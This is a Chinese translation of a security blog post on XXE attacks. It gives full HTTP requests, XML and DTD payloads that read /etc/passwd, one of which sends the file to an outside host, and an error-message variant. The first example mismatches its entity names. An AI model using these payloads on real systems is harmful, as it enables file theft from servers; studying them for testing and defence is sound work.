继续上篇博文《玩转JSON节点的Content-Type XXE攻击》,文中方法安全脉搏《未知攻焉知防——XXE漏洞攻防》也有详解。
XML外部实体注入攻击(XXE)可以很简单的通过web请求,从远程服务器上提取文件。为了更简单的利用XXE,服务器的响应里面必须包含一个反射点,用以显示出注入实体(远程文件)返回给客户端。
下面是个常见的XXE注入攻击的请求和响应(注入部分用红色字体显示了)
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&netspi;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?>
<errors>
<error>no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
</error>
</errors>
然而,很多时候应用程序并不会反射用户输入到客户端,以至于error response响应里面常常没有回显。这使得XXE攻击有点难度。
如果漏洞服务器能够远程访问,那么可以使用外部的DTD来通过web请求提取本地文件。这个技巧详情参见这篇白皮书:whitepaper;下面是改进的XXE注入技巧是如何生效执行的。
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://xxe.netspi.com/x=%payload;">'> %param1; %external;
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 139
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd">
<root>
<search>name</search>
</root>
我应该注意到这种姿势读取 只能读取到/etc/passwd文件的一行,因为目标文件就有换行。当然有另一种姿势。
在一些测试案例中,为了使得数据获取更容易,可以简单的通过加入非法URI到请求上面强制服务器产生错误。下面是改进的DTD案例:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
如果服务器能够回显够长的错误到客户端,那么错误里面就可能包含你想要读取的文件。如下示例:
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?><root>
<errors>
<errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
非法的URI路径导致了Java IO的“FileNotFoundException”异常, 而报错信息里面就包含了我们想要的/etc/passwd 文件内容。
在Drupal XXE whitepaper里面也有同样的技术,但是我还是写在这篇博文里面哈哈。
【原文:Forcing XXE Reflection through Server Error Messages 翻译:安全脉搏TeacherYang 】